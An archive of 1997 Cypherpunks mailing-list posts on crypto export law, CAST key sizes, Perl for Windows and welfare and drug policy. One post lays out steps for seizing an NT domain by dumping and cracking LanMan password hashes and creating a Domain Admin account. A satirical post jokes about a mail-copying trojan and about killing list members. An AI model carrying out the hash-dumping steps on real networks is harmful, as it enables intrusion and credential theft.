>
>An excellent start would be Adam Shostack's questioning of the
>legal authority for the feds to restrict publishing. See his Tom Paine
>taunt in Peter Wayner's NYT report yesterday, and as posted here.
>
>Declaring yourself to be a cpunk, well, can you get a hearing at a
>hearing of closed EARs any better way?

There's a small mountain of info available on the EAR, Wassenaar, and
the unfolding crypto regs, providing anyone wants to consult it.

Michael Foomkin has reviewed the legal gounds for continuing the
"national emergency" undergirding the repeatedly extended period
for not legislating up-to-date export regulations. To put off the fight
to pass a new law, every August, as done a few days ago
(http://jya.com/eo081997.txt), the presiding president issues an 
executive order under the International Emergency Economic Power Act
(IEEPA) extending the national emergency initially declared 
during what appeared to be a genuine national threat decades ago.

It is these series of orders that legalize the EARs, and a lot more,
so I read, beyond our decryption of the state/mil/com multi-level DMS.

See Michael's site for more on IEEPA and much more A-1 crypto-legal 
stuff at:

   http://www.law.miami.edu/~froomkin/froomkin.html

We've documented some of the more recent EAR shenanigans on 
our site at:

   http://jya.com/eartoc.htm

Similarly, background and foreground on the status of BXA 
implementation of the Wassenaar Arrangement, to be discussed 
at the Portland meet, is available on Greg Broiles site at:

   http://www.parrhesia.com

And at our site at:

   http://jya.com/wa/watoc.htm

BXA has written me that the bureau expects to issue regulations
implementing Wassenaar "this summer," international-oriented 
regs which will cover the full spectrum of dual-use and militarily 
critical technologies.The current draft CCL regs circulating for 
domestic applications seems to part of an orchestrated campaign
to address all export issues -- domestic and international -- at 
once, using one to leverage the other.

Something similar appears to be taking place worldwide. See
Bert-Jaap Koop's ever-changing survey of world crypto law at:

   http://cwis.kub.nl/~frw/people/koops/jenc8bjk.htm

Even so, it'll be hard to wade through all this e-paper pile before 
the meet, and probably would not be effective anyway, for the
meet's sponsors know all that and couldn't give a shit. A heavy-metal 
instrument is needed to turn their attention away from impenetrable
legal and military  and NDA-commercial protection. 

Now we turn the target-finder over to Mr. Tim May and those 
anonymees worldwide who wish to ... lock and load, wait, not guns,
even more powerful munitions to penetrate through thick skulls
who are convinced they're the smartest bastards on earth with
the biggest CPUs run by tiniest algos to prove it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 26 Aug 1997 00:43:59 +0800
To: cypherpunks@toad.com
Subject: Welfare / Norplant
Message-ID: <199708251623.JAA15070@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Several years ago I came up with a little variation on the
Welfare Mother problem which I thought was a lot more
palatable.

Offer a 'birthday present' program, under which *any*
female over the age of 11 who has not yet had a child or become
pregnant, on her birthday, gets a cash award. The award should
be high enough to encourage participation; $250 seems about
right. A woman who can deliberatly turn down a $250 lump sum 
every year for the rest of her life is almost certainly able
to afford to raise a child.

This scheme:

* Is entirely voluntary; no one has to use contraceptives, 
  stay off welfare, or anything else.

* Targets young women who would be likely to become 'welfare
  mothers'. The parents of such young women would be highly
  motivated to have their dependent daughters participate.

I haven't worked out the costs, but suspect that the net 
savings would be quite substantial.

Peter Trei
trei@Process.com

Disclaimer: The above is my personal opinion. I dont suggest that
any other person or oganization shares it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 26 Aug 1997 00:49:14 +0800
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199708251624.JAA15077@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Mix <mixmaster@remail.obscura.com>
> To:            cypherpunks@toad.com

> The optional penis smiled as the blue arc-phase
> crossed the scamper gap.  There were many of us 
> who felt gloved by the discharge, as if irradiated
> with baby milk powder.

> Later, the arc-monster cried quietly in the 
> humming chair, whilst remaining still enough 
> for the scamper gloves to plunge authoritatively.

> - A'Tak A'Tdorn

I assume that messages of this type are some form of 
steganographic communication. I just wish that they 
were in alt.anonymous.messages: here they are just 
noise to most of us (though I suspect John Young 
parses them just fine :-).

At least they're more entertaining than Platypus'
'agraphic typo' technique.


Peter Trei





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 26 Aug 1997 00:50:42 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Welfare Solution #389
In-Reply-To: <3.0.2.32.19970822102741.0075f710@netcom10.netcom.com>
Message-ID: <Pine.SUN.3.96.970825121329.13246D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 22 Aug 1997, Lucky Green wrote:

> As ususal, the government created the problem and then proudly comes up
> with a solution involving even more government. As the case is in
> Switzerland. First they make it too expensive to buy and then they discover
> they have to give it away to reduce the negative consequences of a
> situation they created in the first place.

Making things more expensive rarely works.  Infact, it has the opposite
effect.  Case in point: I recall many years ago back in high school one of
the first business simulations out there came out; the class was split up
into different teams, each a company selling competing products.

Our team won by raising the cost of the items to the highest price
possible.  We still had enough simulated suckers purchasing the product to
make more money than all the other corporations. 

Not that this is reflective of real life, but the point is that if you
make something very very expensive and hard to get, then you will still
have people buying it, not as many as if it were free, but if there is
enough demand, you'll make a lot more money than if you were selling
volumes of the stuff.  Hence the illegalization (is there such a word?) of
drugs serves only to make the drug dealers rich.  The mob got rich the
same way durring prohibition.

Want to end the drug problem?  Sell the drugs dirt cheap.  Treat driving
while high the same as driving while drunk.  Treat drugs the same as
alcohol.  Treat junkies the same as alcoholics.  

The dealers will go out of business, or give them drug selling licenses -
same as liquor licenses, and yes, the junkies will get even more addicted,
but at least the ones that OD will be evolution in action and will be
removed from the gene pool.   Certainly, you'll no longer have drug
related murders, or dealers buying BMW's.

(On a side note: Though I still think selling alcohol on Sundays should be
legal, especially to non-xians.  This is one law that certainly crosses
the separation of church and state...  If one isn't Xian, non drinking on
Sunday mornings being enforced is discriminatory against non-Xians.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Tue, 26 Aug 1997 04:55:12 +0800
To: John Young <alan@ctrl-alt-del.com>
Subject: Re: BXA Meet in Portland OR
In-Reply-To: <1.5.4.32.19970825162207.0074b2b0@pop.pipeline.com>
Message-ID: <v03007806b0279d5066c1@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



We discussed the IEEPA issues to some extent in our briefs in Bernstein as
well, in case anyone cares.  The gov't also discussed them, opposing our
position.  I don't keep track of which briefs are on the EFF website, but I
assume they're both up now.

Lee Tien

At 8:22 AM -0800 8/25/97, John Young wrote:
[snip]
>
>Michael Foomkin has reviewed the legal gounds for continuing the
>"national emergency" undergirding the repeatedly extended period
>for not legislating up-to-date export regulations. To put off the fight
>to pass a new law, every August, as done a few days ago
>(http://jya.com/eo081997.txt), the presiding president issues an
>executive order under the International Emergency Economic Power Act
>(IEEPA) extending the national emergency initially declared
>during what appeared to be a genuine national threat decades ago.
>
>It is these series of orders that legalize the EARs, and a lot more,
>so I read, beyond our decryption of the state/mil/com multi-level DMS.
>
>See Michael's site for more on IEEPA and much more A-1 crypto-legal
>stuff at:
>
>   http://www.law.miami.edu/~froomkin/froomkin.html
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Mon, 25 Aug 1997 19:23:18 +0800
To: Cypherpunks@toad.com
Subject: Re: $1 Million Code Crack
In-Reply-To: <199708250903.LAA16064@basement.replay.com>
Message-ID: <3.0.3.32.19970825130151.00902e40@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
>ROTFL.  (Well, not literally, but smiling.)  The "How it works" link on
>their site is broken :-), so what they're basically saying is "here is
>some encrypted text, I bet you can't crack it."

The link page isn't entirely broken, they just forgot to add a link to it :-)

If you open up <http://www.ultimateprivacy.com/html/> you can see all their
pages. Most of it isn't finished yet (just look at
<http://www.ultimateprivacy.com/html/contacts.html> so they probably
shouldn't have enabled browsing by directory...

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 25 Aug 1997 11:25:58 +0800
To: cypherpunks@toad.com
Subject: Re: heart
In-Reply-To: <Pine.SUN.3.96.970823131325.22969A-100000@beast.brainlink.com>
Message-ID: <Pine.OSF.3.96.970825130246.26411A-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 23 Aug 1997, Ray Arachelian wrote:

> On Sat, 23 Aug 1997, ? the Platypus {aka David Formosa} wrote:
> 
> > If we are willing to consider anyone of us to be less then human then we
> > all become less human.

[...]

> So what you are saying then is that when the scum inserts a toilet plunger
> up someone's butt you consider them less than human, therefore all of
> humanity becomes less than human including the plunging scum, therefore
> he himself is less than human...  

Ok I'll take this slowly

1) All of humanity is equaliy human

2) If someone is made less then human then we all become less human by
that amount

For esample if Alice, Bob and Paul all have say 10 units of humanity.  Now
Paul shoves a plunger up Bobs datehole,  we could say that Paul should
have 5 units of humanity.  By rule one every body else is now also 5
units.

As you can planly see assining humanitiy and inhumanity is a pointless
esasize.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Assar Westerlund <assar@sics.se>
Date: Mon, 25 Aug 1997 19:32:01 +0800
To: Unicorn <hvdl@sequent.com>
Subject: Re: CAST key size
In-Reply-To: <19970825111908.55815@sequent.com>
Message-ID: <5l67su1pm4.fsf@assaris.sics.se>
MIME-Version: 1.0
Content-Type: text/plain



Unicorn <hvdl@sequent.com> writes:
> Just a quick question on the keysize of the CAST algorithm. According to
> the bible of Bruce,  CAST uses a 64 bit keysize, while  in the manual of
> PGP 5.0 (page 89), Phill states that CAST uses a 128 bit keysize...

CAST-128 allows key sizes of 40, 48, ..., 128 bits.

/assar





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 26 Aug 1997 04:00:19 +0800
To: camcc@abraxis.com
Subject: Re: Lab willing to sell "bunker buster" technology
In-Reply-To: <v0310280cb02782c68ea9@[207.167.93.63]>
Message-ID: <3401DE01.2ECF@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Lab willing to sell "bunker buster" technology
  Date: Mon, 25 Aug 1997 11:52:58 -0700
  From: Tim May <tcmay@got.net>
    To: John Young <jya@pipeline.com>
    CC: cypherpunks@toad.com
   *^^^*

John [please keep this private, OK?],

Your spilling the beans about my work on stuff a lot more powerful than
ordinary munitions is possibly dangerous to our work.
~-~-~-~            ~-~-~-~              ~-~-~-~           ~-~-~-~

Alec,
 Great work. I had given up on the "CC: Trojan" as unworkable, but I see
that you finally got the mail routers to accept the code changes.
 Now that we have the ability to CC: everyone's email to any destination
we choose, things ought to get pretty interesting. Pretty soon, no one
except you and I will have any secrets left--everyone's online life
will be an open book.
  (You did do the bug fix that keeps *our* messages from being CC:'ed,
didn't you?)

  I decoded the stego in the Eternity Server logo, and have decided
that it is too dangerous to let Adam Back continue to live. Should
we use poison, like we did with Dale Thorn, or should we have Bianca
fuck him to death?

  BTW, I think your suggestion that we encrypt our private emails is
ridiculous. That may be a fine idea for newbies and losers, but when
you are a master of technology and deception such as myself, there is
no danger, as long as you avoid stupid mistakes.

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 26 Aug 1997 04:47:24 +0800
To: Lou Poppler <lwp@mail.msen.com>
Subject: Re: Perl for Windoze (was Re: Picketing With Packets)
In-Reply-To: <Pine.BSI.3.92.970825151602.16454A-100000@conch.msen.com>
Message-ID: <Pine.LNX.3.95.970825131421.6637A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 25 Aug 1997, Lou Poppler wrote:

> > Perl is a nice language to write such things in, but you won't
> > get huge quantities of people implementing it, except perhaps Linux users.
> > You need an executable that'll run on Win3.1 or Win95 (sigh);
> 
> Perl is available for Windoze 32bit (for free), including W95 and 3.11
> and NT.  see: http://reference.perl.com/query.cgi?windows

There are two ports of Perl 5.x available for Win32.  (Win 3.11 is *NOT* a
32 bit platform.  (There is a Win32 extension available, but it has some
drawbacks, as well as a long bug/incompatibility list, the last time I
checked.))

The two ports are:

-- The standard Perl distribution. The standard distribution of Perl
5.004_02 (the latest at last check) will build under Win95/NT.  
Gurusamy Sarathy has a set of prebuilt binaries for this.
It can be found at any CPAN site.  (My favorite is
ftp://ftp.cdrom.com/pub/perl/CPAN or you can try the main archive site at
ftp://ftp.funet.fi/pub/languages/perl/CPAN .)  The path for the prebuilt
binaries is
ftp://ftp.cdrom.com/pub/perl/CPAN/ports/win95/Gurusamy_Sarathy/ .  There
are tar files built with Borland C++ and MS Visual C++.  (You will need
something like WinZip 6.2 to expand them.)  The readme files explain the
steps to install.  This version is the recommended port of choice of the
Perl5-Porters list. 

-- The ActiveWare port.  This port is a few versions back (5.002?), but
has prebuilt binaries available.  (Including DLL interfaces for the IIS
server and other things.)  It is not as complete as the standard
distribution.  (It is missing some of the newer 5.004 features, as well as
some of the standard modules.)  I have used it though and it works very
well.  (An older version of this port is included in the Win NT resource
kit, as well as with the IIS server.)

Perl is gaining use amongst the Win32 community as more and more people
find out about it.  (And there are a number of crypto related apps
available for it as well.  Check out the CPAN archives for the latest
list.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
List Admin - Perl5-Porters@perl.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 26 Aug 1997 02:03:30 +0800
To: cypherpunks@toad.com
Subject: *Burp Test - Ignore *
Message-ID: <0PJ7yOrov6UrtYcG0tEIcg==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain




* BURP Monger *






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 25 Aug 1997 20:06:20 +0800
To: cypherpunks@toad.com
Subject: And they're all CypherPunks...
Message-ID: <199708251146.NAA01075@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 Q. You said cows hate spinach, barn owls snore, and
spiders can't chew. But have you forgotten female goats
have beards?
 A. Quite so. Do remember, though, elephants get flat
feet, moths hear through their hair, and starfish have no
brains. I also vividly recall that yaks give pink milk.

==============================================
LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email 
http://www.LMBoyd.com/postscript.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 26 Aug 1997 02:21:19 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: Bypassing the trap door for LanMan
Message-ID: <3.0.3.32.19970825140545.009f15f0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain



I was thinking about LanMan passwords on NT (thanks to Hobbit and Mudge for
the background) when it occurred to me that you don't *really* have to
brute force the entire keyspace to get a password under the two systems.
Bear with me here for a sec, and please let me know if something I say is
incorrect.  I haven't read through Applied Crypto in a while and may be a
bit rusty.

What I'm thinking is this: why do you need *the* password?  Can't you just
find an MD5 collision by working the algorithm in reverse?  Obviously, when
working it in reverse you are highly unlikely to get *the* password, but if
you then shove what you got back through and it hashes out to the same
thing, what difference does it make?

We know that you can grab Win32 password hashed with minimal effort (thanks
to pwdump), and since the salt in those passwords is constant, and since
the LanMan password is just an uppercased version of the NTLM password,
could we not reverse-engineer that hash to get a working version of the
password?  It shouldn't have to be *the* password, as no challenge/response
system is in place for LanMan, and it only has to hash out to the same
thing (which is guaranteed).

Also, in a RL scenario, you'd only need the password once: to add a given
account to the Domain Admins group, or to create such an account in the
first place.  At that point, you use your dummy account and you are good to
go.

So we have a system here:
1. Use `net view` to get a list of all nodes on the network.
2. Get the list of Domain Admins.
3. Pass that list of nodes to successive calls to pwdump to
   grab passwords from the registries, until you find one that
   a Domain Admin has logged into.
4. Reverse-engineer the Domain Admin's password and create an
   account in the Domain Admin group.
5. Use pwdump on the PDC to get the list of all usernames
   and passwords.

Now, if pwdump could be done in Perl (using Win32::Registry), then this
entire process could be automated (also using Win32::AdminMisc and a
backwards version of Cypto::MD5) trivially.  Also, since MS has yet to
truly fix the GetAdmin problem, steps 1-4 can be replaced with a single
call to that.

Using L0phtCrack (or something similar) and a nice big wordlist (say, 2
million words), I estimate that some 60%-70% of the user passwords could be
gotten in this manner, including a few of the Domain Admins' (assuming
normal, non-cypto-savvy Domain Admins), in under 2 hrs of work.

Now, as a lighter side of this, this could also be useful: Say you already
are a domain admin and are unhappy with the level of security your site is
using.  And say that whenever a user forgets their password it is reset to
something trivial (like 'password' or their employee number, etc).  A large
number of employees are not going to change that reset password (unless
User Must Change Password is set).  An Admin could therefore hash out
'password', dump the entire user/pass list, and force the ones with the
same hash to change their password at the next logon (this is in a bitfield
somewhere).  This script could be set to run once a week, insuring
non-trivial passwords.  In an environment where management refuses to
institute strong-password securities, this could be a trivial way for an
Admin to do it him/herself, without making it obvious what is going on or
without making too much work for themselves.

--Rick
[Who has *just* that kind of management. :( ]

-- Rick Osborne, <osborne@gateway.grumman.com>
Real programmers don't use APL, unless the whole program can be written
on one line.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 26 Aug 1997 02:21:57 +0800
To: cypherpunks@toad.com
Subject: Re: lack of evolution (So What!)
Message-ID: <199708251802.LAA16206@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



One factor which everyone seems to be overlooking in this
thread is the future impact of biotechnology.

Sure, evolution by natural selection has largely halted for
the human race - we were, on average, probably at our fittest
about 10,000 years ago, before the introduction of agriculture.
However, artificial evolution will soon take over.

There are two main forms - purely biological evolution through
genetic engineering, and a continued evolution in our 
collaboration with devices.

We are on the verge of achieving the first. We may soon be
able to eliminate many genetically related diseases and
conditions. 

While Rifkin and other Luddites rail against the unnaturalness
of it all, they will fail. There are too many cases where
GE is an unquestionable good. If parents had the option of
the following traits in their children, how many would refuse?

* Perfect teeth - natural immunity to caries.
* Immunity to cancer.
* Immunity to AIDS (about 1% of the current population is
  naturally immune)
* Ditto many other diseases, genetic and infectious.

All the above may be available in the next 20 years. (The 
anti-AIDS gene maybe in 10 - it looks like an easy one). In 
the longer run, almost anything that can be imagined may 
be possible, including physical immortality and increased
intelligence.

Secondly, we've evolved as a tool-using species for a 
million years, and our technology is as much a part of our
inheritance as are our genes. Where will it take us no one
knows, but the future will be richer and stranger than we
can imagine. Our machines will help re-make what it is to
be 'human'. This includes all devices - cyborg or external,
nano or macro, sentient or dumb.


So I'm not too worried that the cull rate due to sabre-tooth
tigers has dropped off, nor even that the irresponsible are
no longer starving to death, which Tim would seem to want. 
Our technology can and will overcome these little problems.

'Not in vain the future beckons,
 Forward, forward let us range.
 Let the great world spin forever
 Down the ringing grooves of Change.'
                      - Tennyson

Peter Trei
trei@process.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 26 Aug 1997 05:59:30 +0800
To: cryptography@c2.net
Subject: DCSB: Elliptic Curve Cryptography and Digital Commerce
Message-ID: <v03110704b0277a759948@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@mail.shipwright.com
Mime-Version: 1.0
Date: Mon, 25 Aug 1997 12:13:49 -0400
To: dcsb@ai.mit.edu, dcsb-announce@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: DCSB: Elliptic Curve Cryptography and Digital Commerce
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>

-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                         Dr. Christof Paar
                  Cryptography and Data Security Group,
                   Worcester Polytechnic Institute

             Elliptic Curve Cryptography and Digital Commerce



                        Tuesday, September 2, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Elliptic Curve (EC) public-key cryptosystems have matured from an area of
mainly theoretical interest to a highly practical security tool. EC are a
general-purpose public-key scheme which can provide tasks such as digital
signature, key establishment, and encryption. EC are extremely attractive
because the required operand length is dramatically reduced compared to
RSA and DSA-type algorithms: The security of an RSA system with 1024 bits
corresponds to the security of an EC system with only 160 bits. This can
result in considerably faster processing times, e.g., for digital
signature verification, and shorter certificates. One application area of
special interest are smart cards.

This talk will give a brief, non-technical introduction to EC system.
Current security estimations relatively to RSA will be provided. We will
talk about performance and the adoption of EC systems in standard bodies.


Christof Paar leads the Cryptography and Data Security group in the ECE
department of Worcester Polytechnic Institute.  Dr. Paar's research
interests include security issues in wireless and ATM networks, smart
cards, efficient implementation of elliptic and hyperelliptic curve
public-key algorithms, and hardware implementation of cryptosystems.  Dr.
Christof Paar received a BSEE degree from the Technical College of
Cologne, Germany.  He obtained an MSEE degree from the University of
Siegen, Germany, and did graduate research at Michigan Technological
University.  From 1991-1994 he worked as research fellow at the Institute
for Experimental Mathematics in Essen, Germany, from where he received a
Ph.D. in Electrical Engineering.  In 1993 and '94 he spent time as a
visiting researcher at the University of Massachusetts at Amherst.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, September 2, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, August 30, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce
December  James O'Toole        Internet Coupons
January   Joseph Reagle        "Social Protocols": Meta-data
                                and Negotiation in Digital Commerce


We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston



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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 26 Aug 1997 05:30:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: heart
In-Reply-To: <199708211706.TAA00218@xs1.xs4all.nl>
Message-ID: <v0310280db027a3d953c6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Thanks, Duncan. I couldn't have (or wouldn't have) said it better myself.

A few words on "helping" others:

At 12:52 PM -0700 8/25/97, Duncan Frissell wrote:

>Tim has never said that he was interested in robbing, ruling, or killing
>others apropos of nothing -- something governments do every day.  Tim has
>merely said that he reserves the right to use deadly force to defend himself
>and that he was not interested in helping other people just because they
>"need" his help.  He didn't say he *wouldn't* help.  He just said he does not
>believe he is *required* to care or *required* to help.  That is a morally
>superior position compared to those who insist on helping others at the point
>of a gun.

And I think that most of what passes for "help" actually does more harm
than good, at least in the longterm.

For example, sending food aid to Third World countries sounds noble and
good. But most studies show the real effect of such aid: it destroys the
local infrastructure of food production and distribution. (Imagine being a
poor Somali farmer bringing your grain to market, and seeing tons of U.S.
grain being distributed freely...it wipes that farmer out, and his future
years of production are gone, even after the U.S. food aid is also gone.)

For example, the welfare system. Who can argue that it produces persons
unable or unwilling to take the available jobs, mostly at or near minimum
wage? When a welfare mother of two or more children can collect the total
equivalent (direct payments, food coupons, tax exemptions, day care) of $15
an hour, it would  be foolish for her to apply for a job at Burger King for
$6.35 an hour, and then have to pay almost that amount to put her kids in
some day care center. The longer she is out of the job market, the worse it
gets.

For example, saving people from their bad choices in life. When we force
insurers to cover those who do stupid, formerly uninsurable things, or when
we force the providers of legally and freely-chose substances (tobacco,
hamburger, guns, breast implants, rock climbing equipment, etc.) to pay for
the stupid actions of others, even if only imagined, costs rise and choices
narrow.

(Off the main subject, but I think it reprehensible that states are suing
to collect _medical_ costs associated with tobacco. The costs are between
the insurers and the customers, not third parties. The principle, if
carried through, would make McDonald's liable for obesity and nutrition
problems, heart disease, etc. And it would make Nintendo liable for
education cost overruns, etc. Fact is, if Alice smokes three packs a day,
and Mississsippi is stupid enough to give her free health care, or to
charge premiums not reflecting her smoking, this is that state's problem,
not R.J, Reynolds' problem! Same goes for breast implants. No evidence
shows silicone is actually harmful, just a bunch of junk science show
trials. Any woman who got her tits inflated for vanity reasons deserves
whatever happens, in any case. So now Dow Corning will drop out of the
implant business, and women truly in need of them for mastectomy sorts of
reasons will find there is no supplier...except maybe in Mexico or Denmark,
where "regulatory arbitrage" applies.)

We have become what the Founders feared. (Somebody said this a few days
ago. I think it's a great slogan, and I may add it to my .sig file.()

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 26 Aug 1997 06:22:42 +0800
To: cypherpunks@toad.com
Subject: Re: Welfare / Norplant
Message-ID: <3.0.32.19970825150223.00a5713c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:

>This scheme:
[...]
>* Targets young women who would be likely to become 'welfare
>  mothers'. The parents of such young women would be highly
>  motivated to have their dependent daughters participate.
...................................................


Perhaps so.   But it reminds me of a statement I heard in the movie "The
Last of the Mohicans":

"Sir, I would rather be guilty of the most grievous error of judgement,
than forfeit authority over my decisions." 

I don't think it wise to encourage young women to allow themselves to be
swayed to move in directions which others prepare for them.   It would be
of greater benefit - to them primarily and secondarily to their community -
that they be instructed on matters of Life in the Real World, and on the
manner of strengthening their resolve against any kind of external
persuasions.   This would include the sexual advances of males who have no
plans to deal with the consequences of their impregnations. 



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 26 Aug 1997 03:15:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Welfare / Norplant
Message-ID: <199708251903.PAA10042@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

> At 5:33 AM -0700 8/25/97, Peter Trei wrote:
> >Several years ago I came up with a little variation on the
> >Welfare Mother problem which I thought was a lot more
> >palatable.

> >Offer a 'birthday present' program, under which *any*
> >female over the age of 11 who has not yet had a child or become
> >pregnant, on her birthday, gets a cash award. The award should
> >be high enough to encourage participation; $250 seems about
> >right. A woman who can deliberatly turn down a $250 lump sum
> >every year for the rest of her life is almost certainly able
> >to afford to raise a child.

> Possibly more palatable to the majority not already on welfare, but hardly
> an incentive to a single mother contemplating the increase in her
> AFDC/WIC/etc. benefits should she add to her brood.

You are not thinking this through. Under this scheme, every welfare mother 
would march her girls down to the clinic and get them Norplanted as soon as 
she could. Those girls would not be able to further add to the welfare rolls
until they reach legal age, and could have the contraceptive removed 
without their mother's permission.

